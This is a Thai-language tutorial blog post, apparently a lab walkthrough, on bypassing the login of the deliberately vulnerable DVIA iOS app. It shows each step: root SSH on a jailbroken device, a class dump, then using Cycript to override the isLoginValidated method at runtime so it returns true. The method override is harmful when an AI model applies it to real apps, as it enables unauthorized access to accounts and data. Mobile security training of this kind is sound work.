บทนำ (Overview)
จากบทความที่แล้ว “How to bypass the Jailbreak Detection” ได้กล่าวถึงการทำ “Method Swizzling” สำหรับการหลบเลี่ยงการตรวจจับเครื่อง “Jailbreak” ได้มาในบทความนี้เราจะนำเสนอการหลบเลี่ยงการใช้งาน “Login” ของ “Application” โดยใช้กระบวนการเดียวกัน ซึ่งส่วนมากอาจเกิดจากโปรแกรมที่อาศัยการ “Login” โดยฝั่งรหัสผ่านไว้ที่โทรศัพท์ หรือไม่มีการบริหารจัดการ “Session” หลัง “Login” ไม่ดีเพียงพอ เช่นไม่มี “session” หลัง “login” หรือมีการใช้งาน “session” ไม่ครอบคลุมทุกฟังก์ชันสำคัญ เป็นต้น
ขั้นตอน (Steps)
- เครื่อง “iOS” ต้องผ่านการ Jailbreak เสียก่อน (How to jailbreak iOS – “PP Jailbreak”)
- ติดตั้งโปรแกรม “DVIA” จากนั้นไปที่รายการ “Runtim manipulation” และเลือก “Login Method1″
- สำหรับโปแกรมทั่วไปที่ดาวน์โหลดมาจาก “App Store” ให้ทำการ “Decrypt” เสียก่อน (http://blog.itselectlab.com/?p=565) แล้วติดตั้งโปรแปรมที่ “Decrypt” ใหม่อีกครั้ง
- เมื่อทำการ “Decrypt” โปรแกรมเรียบร้อยเราจึงสามารถ “Reverse Engineer” โปรแกรมได้ (อ่าน “Class” หรือ “Method” ออก ตามบทความ http://blog.itselectlab.com/?p=350) แต่สำหรับโปรแกรม “DVIA” ไม่ได้มาจาก “App Store” ดังนั้นจึงข้ามขั้นตอนที่ (3) ไปได้ดังนี้
- “Remote Access” ผ่าน “SSH”
login as: root root@192.168.0.15's password: iPad:~ root# ls -l total 112 drwxr-xr-x 3 root wheel 102 Oct 23 2014 Documents/ drwxr-xr-x 8 root wheel 272 Oct 9 2014 Library/ drwxr-xr-x 3 root wheel 102 Oct 24 2014 Media/ -rw-r--r-- 1 root wheel 82904 Oct 10 2014 dumpdecrypted.dylib -rwxrwxrwx 1 root wheel 25744 Oct 10 2014 keychain_dumper*
- ค้นหา “Directory” สำหรับโปรแกรม “DVIA”
iPad:~ root# cd /var/mobile/Applications/ iPad:/var/mobile/Applications root# ps aux | grep Damn mobile 783 0.0 13.3 517264 68372 ?? Ss 10:10AM 0:31.21 /var/mobile/Applications/BD0BBE00-2C62-4533-B7C4-D8B46D1EF4C5/DamnVulnerableIOSApp.app/DamnVulnerableIOSApp iPad:/var/mobile/Applications/BD0BBE00-2C62-4533-B7C4-D8B46D1EF4C5/DamnVulnerabl eIOSApp.app root# ls -l total 21128 -rw-r--r-- 1 mobile mobile 11553 May 24 04:16 120x120.png -rw-r--r-- 1 mobile mobile 13907 May 24 04:16 152x152.png -rw-r--r-- 1 mobile mobile 6525 May 24 04:16 57x57.png -rw-r--r-- 1 mobile mobile 375699 May 24 04:16 640_960_SplashScn.png -rw-r--r-- 1 mobile mobile 464522 May 24 04:16 640x1136_SplashScn.png -rw-r--r-- 1 mobile mobile 7893 May 24 04:16 72x72.png -rw-r--r-- 1 mobile mobile 8464 May 24 04:16 76x76.png -rw-r--r-- 1 mobile mobile 11292 May 24 04:16 AppIcon40x40\@2x.png -rw-r--r-- 1 mobile mobile 11553 May 24 04:16 AppIcon60x60\@2x.png drwxr-xr-x 3 mobile mobile 102 May 24 04:16 Base.lproj/ -rwxr-xr-x 1 mobile mobile 19509584 May 24 04:17 DamnVulnerableIOSApp* -rw-r--r-- 1 mobile mobile 1427 May 24 04:16 Info.plist -rwxr-xr-x 1 mobile mobile 1341 May 24 04:16 LICENSE.txt* -rw-r--r-- 1 mobile mobile 464522 May 24 04:16 LaunchImage-700-568h\@2x.png -rw-r--r-- 1 mobile mobile 375699 May 24 04:16 LaunchImage-700\@2x.png drwxr-xr-x 2 mobile mobile 68 May 24 04:16 META-INF/ drwxr-xr-x 2 mobile mobile 136 May 24 04:16 Model.momd/ -rw-r--r-- 1 mobile mobile 8 May 24 04:16 PkgInfo drwxr-xr-x 3 mobile mobile 102 May 24 04:16 PlugIns/ -rwxr-xr-x 1 mobile mobile 324 May 24 04:16 README.txt* drwxr-xr-x 2 mobile mobile 102 May 24 04:16 _CodeSignature/ -rw-r--r-- 1 mobile mobile 4030 May 24 04:16 card-bg.png -rw-r--r-- 1 mobile mobile 2006 May 24 04:16 card-bg\@2x.png -rw-r--r-- 1 mobile mobile 8081 May 24 04:16 embedded.mobileprovision drwxr-xr-x 2 mobile mobile 102 May 24 04:16 en.lproj/ -rw-r--r-- 1 mobile mobile 1150 May 24 04:16 google.co.uk.cer -rw-r--r-- 1 mobile mobile 2927 May 24 04:16 header-bg.png -rw-r--r-- 1 mobile mobile 3155 May 24 04:16 header-bg\@2x.png -rw-r--r-- 1 mobile mobile 4840 May 24 04:16 main-bg.png -rw-r--r-- 1 mobile mobile 5424 May 24 04:16 main-bg\@2x.png -rw-r--r-- 1 mobile mobile 3789 May 24 04:16 menu-icon.png -rw-r--r-- 1 mobile mobile 5006 May 24 04:16 menu-icon\@2x.png -rw-r--r-- 1 mobile mobile 3922 May 24 04:16 menuIcon.png -rw-r--r-- 1 mobile mobile 5388 May 24 04:16 menuIcon\@2x.png -rw-r--r-- 1 mobile mobile 2941 May 24 04:16 slider-active.png -rw-r--r-- 1 mobile mobile 3133 May 24 04:16 slider-active\@2x.png -rw-r--r-- 1 mobile mobile 74035 May 24 04:16 slider-bg.png -rw-r--r-- 1 mobile mobile 176841 May 24 04:16 slider-bg\@2x.png
- ใช้คำสั่ง “class-dump-z ชื่อโปรแกรม > ชื่อไฟล์ที่ต้องการบันทึก” เพื่อ “Reverse Engineering”
iPad:/var/mobile/Applications/BD0BBE00-2C62-4533-B7C4-D8B46D1EF4C5/DamnVulnerableIOSApp.app root# class-dump-z DamnVulnerableIOSApp > zTest.txt iPad:/var/mobile/Applications/BD0BBE00-2C62-4533-B7C4-D8B46D1EF4C5/DamnVulnerableIOSApp.app root# ls -l total 21764 -rw-r--r-- 1 root mobile 649319 Jun 29 14:12 zTest.txt
- ทดสอบเปิดอ่าน “Class” “Method” และ “Properties”
iPad:/var/mobile/Applications/BD0BBE00-2C62-4533-B7C4-D8B46D1EF4C5/DamnVulnerableIOSApp.app root# cat zTest.txt @interface RLMRealm : NSObject { BOOL _inWriteTransaction; unsigned _threadID; @private NSThread* _thread; NSMapTable* _notificationHandlers; unique_ptr<tightdb::Replication, std::__1::default_delete<tightdb::Replication> > _replication; unique_ptr<tightdb::SharedGroup, std::__1::default_delete<tightdb::SharedGroup> > _sharedGroup; unique_ptr<tightdb::Group, std::__1::default_delete<tightdb::Group> > _readGroup; Group* _group; BOOL _readOnly; BOOL _inMemory; BOOL _autorefresh; BOOL _dynamic; NSString* _path; RLMSchema* _schema; } @property(readonly, assign, nonatomic, getter=getOrCreateGroup) Group* group; @property(readonly, assign, nonatomic) BOOL dynamic; @property(readonly, assign, nonatomic) BOOL inWriteTransaction; @property(assign, nonatomic) BOOL autorefresh; @property(retain, nonatomic) RLMSchema* schema; @property(readonly, assign, nonatomic, getter=isReadOnly) BOOL readOnly; @property(readonly, assign, nonatomic) NSString* path; +(id)migrateRealmAtPath:(id)path key:(id)key; +(id)migrateRealmAtPath:(id)path encryptionKey:(id)key; +(id)migrateRealmAtPath:(id)path; +(unsigned)schemaVersionAtPath:(id)path encryptionKey:(id)key error:(id*)error; +(unsigned)schemaVersionAtPath:(id)path error:(id*)error; +(void)setSchemaVersion:(unsigned)version forRealmAtPath:(id)path withMigrationBlock:(id)migrationBlock; +(void)setDefaultRealmSchemaVersion:(unsigned)version withMigrationBlock:(id)migrationBlock; +(void)resetRealmState; +(void)setEncryptionKey:(id)key forRealmsAtPath:(id)path; +(id)realmWithPath:(id)path key:(id)key readOnly:(BOOL)only inMemory:(BOOL)memory dynamic:(BOOL)dynamic schema:(id)schema error:(id*)error; +(id)realmWithPath:(id)path encryptionKey:(id)key readOnly:(BOOL)only error:(id*)error; +(id)inMemoryRealmWithIdentifier:(id)identifier; +(id)realmWithPath:(id)path readOnly:(BOOL)only error:(id*)error; +(id)realmWithPath:(id)path; +(id)defaultRealm; +(id)writeablePathForFile:(id)file; +(void)setDefaultRealmPath:(id)path; +(id)defaultRealmPath; +(void)initialize; +(BOOL)isCoreDebug; -(id).cxx_construct; -(void).cxx_destruct; -(BOOL)writeCopyToPath:(id)path encryptionKey:(id)key error:(id*)error; -(BOOL)writeCopyToPath:(id)path error:(id*)error; -(BOOL)writeCopyToPath:(id)path key:(id)key error:(id*)error; -(id)createObject:(id)object withObject:(id)object2; -(id)objects:(id)objects withPredicate:(id)predicate; -(id)objects:(id)objects where:(id)where args:(void*)args; -(id)objects:(id)objects where:(id)where; -(id)allObjects:(id)objects; -(void)deleteAllObjects; -(void)deleteObjects:(id)objects; -(void)deleteObject:(id)object; -(void)addOrUpdateObjectsFromArray:(id)array; -(void)addOrUpdateObject:(id)object; -(void)addObjects:(id)objects; -(void)addObject:(id)object; -(BOOL)refresh; -(void)handleExternalCommit; -(void)dealloc; -(void)invalidate; -(void)cancelWriteTransaction; -(void)transactionWithBlock:(id)block; -(void)commitWriteTransaction; -(void)beginWriteTransaction; -(void)sendNotifications:(id)notifications; -(void)removeNotification:(id)notification; -(id)addNotificationBlock:(id)block; -(id)migrationBlock:(id)block; -(id)initWithPath:(id)path key:(id)key readOnly:(BOOL)only inMemory:(BOOL)memory dynamic:(BOOL)dynamic error:(id*)error; @end
- “Remote Access” ผ่าน “SSH”
- เมื่อได้ชื่อ “Class” เรียบร้อยแล้ว จากนั้นช่วงเวลานี้อาจจะต้องลองศึกษาจากชื่อ “Class” “Method” หรือ “Properties” ที่เกี่ยวข้องกับช่องโหว่ที่เป็นไปได้ว่าจะมี ในตอนนี้เรากำลังหาช่องโหว่เกี่ยวกับการ “Login method” จึงลองค้นหาคำที่อาจที่เกี่ยวข้องดังกล่าว น่าจะเกี่ยวข้องกับ “Class” ข้างล่าง
@interface RuntimeManipulationDetailsVC : UIViewController { @private UITextField* _usernameTextField; UITextField* _passwordTextField; UITextField* _codeTextField; NSString* _urlToLoad; UIScrollView* _mainScrollView; } @property(assign, nonatomic) __weak UIScrollView* mainScrollView; @property(retain, nonatomic) NSString* urlToLoad; @property(assign, nonatomic) __weak UITextField* codeTextField; @property(retain, nonatomic) UITextField* passwordTextField; @property(retain, nonatomic) UITextField* usernameTextField; +(BOOL)validateCode:(int)code; -(void).cxx_destruct; -(void)validateCodeTapped:(id)tapped; -(void)readTutorialTapped:(id)tapped; -(void)showLoginFailureAlert; -(void)pushSuccessPage; -(BOOL)isLoginValidated; -(void)loginMethod2Tapped:(id)tapped; -(void)loginMethod1Tapped:(id)tapped; -(void)didReceiveMemoryWarning; -(void)viewDidLoad; -(id)initWithNibName:(id)nibName bundle:(id)bundle; @end
- และมี “Method” ที่น่าสนใจชื่อ “isLoginValidated” ซึ่งเป็น “Method” ที่ไม่ต้องมี “Parameter” เวลาเรียกใช้งานและมีค่า “Return” คือ “Boolean”
-(BOOL)isLoginValidated;
- จากนั้นเราลองใช้โปรแกรม “Cycript” เชื่อมต่อ process ของโปรแกรม “DVIA” ที่กำลัง “Run” อยู่ดังนี้ (http://blog.itselectlab.com/?p=95)
iPad:/var/mobile/Applications/BD0BBE00-2C62-4533-B7C4-D8B46D1EF4C5/DamnVulnerableIOSApp.app root# ps aux | grep Damn root 957 2.9 0.1 339588 436 s000 R+ 2:35PM 0:00.01 grep Damn mobile 783 0.0 14.7 588420 75472 ?? Ss 10:10AM 0:49.83 /var/mobile/Applications/BD0BBE00-2C62-4533-B7C4-D8B46D1EF4C5/DamnVulnerableIOSApp.app/DamnVulnerableIOSApp iPad:/var/mobile/Applications/BD0BBE00-2C62-4533-B7C4-D8B46D1EF4C5/DamnVulnerableIOSApp.app root# cycript -p 783 cy#
- เข้าถึง “Address” ของหน้า “UIViewController” ของการ “Login” (ซึ่งตอนนี้อยู่ตามรูปในขั้นตอนที่ 2)
cy# UIApp.keyWindow.rootViewController.topViewController.visibleViewController #"<RuntimeManipulationDetailsVC: 0x17dd5ee0>"
- จากนั้นทดลองเรียกใช้คำสั่ง “isLoginValidated” เพื่อตรวจสอบค่า “Return” ปัจจุบัน และพบว่าเท่ากับ “0” เนื่องจากมีชนิดข้อมูลเป็น ฺ”Boolean” ดังนั้นจะใช้เป็น “1” หรือ “true” ก็ได้
cy# var testLogin = #0x17dd5ee0 #"<RuntimeManipulationDetailsVC: 0x17dd5ee0>" cy# [testLogin isLoginValidated] 0
- จากนั้นใช้วิธีการ “Method Swizzling” ด้วยวิธีข้างล่างสามารถ “Overide Method” หรือ “Polymorphism” ตามหลัก “OOP” แต่นั้นจะ “override” ในช่วงเวลา “Run-time” เท่านั้น และสามารถเปลี่ยนค่าจาก “0” เป็น “1”
- วิธีที่ 1
cy# testLogin->isa.messages['isLoginValidated'] = function () {return true;} function () {return true;} cy# [testLogin isLoginValidated] 1
- วิธีที่ 2
cy# RuntimeManipulationDetailsVC.messages['isLoginValidated'] = function () {return true;} function () {return true;} cy# [testLogin isLoginValidated] 1
- วิธีที่ 1
- ที่นี้ลองคลิก “Login Method 1” อีกครั้งจะพบว่าสามารถ “Login” ผ่านโดยไม่ต้องกรอก “username” และ “password”